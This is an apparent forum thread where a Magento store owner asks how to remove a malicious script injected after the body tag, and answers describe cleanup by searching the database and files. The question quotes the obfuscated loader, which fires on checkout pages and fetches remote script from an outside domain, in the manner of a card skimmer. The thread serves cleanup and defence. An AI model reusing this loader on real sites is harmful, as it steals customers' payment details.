I have a malicious script that’s been inserted right after the body tag and I don’t know which file to check to remove it, I’ve checked everywhere in the admin as well as template files and it’s not where to be found. The virus looks like this:
if((new
RegExp('onepage|checkout|onestep|firecheckout')).test(window.location))
{document.write('>tpircs/<>"sj.tekramroced/crs/knil.sj-
knil//:sptth"=crs tpircs<'.split("").reverse().join(""))};
2
Answers
Please try below approaches
Hope it’s helpful for you.
As long as you know what the names of the scripts are, it’s easy to get rid of these malicious scripts.
I had many of these scripts injected into my website, most of them were scripts and iframes pointing to a domain
http://siteverification.online
.I am not a Magento expert but I figured that then can come from only 2 places:
For the database, I am using MySQL, and since I have PhpMyAdmin installed I took advantage of its Search function, which can search all fields of all tables of the database. I just searched for
siteverification.online
and found some entries, and deleted them.For the filesystem, I logged on through SSH and just search the whole magento website filesystem, like this:
In my case it turns out that some PHP code was injected in
index.php
. But if code was injected in any other php or html file this would find them as well since the search is recursive (-r
flag).That’s it. I don’t even understand Magento’s filesystem and database structures, but using these radical search methods I got rid of all the malware in a few minutes.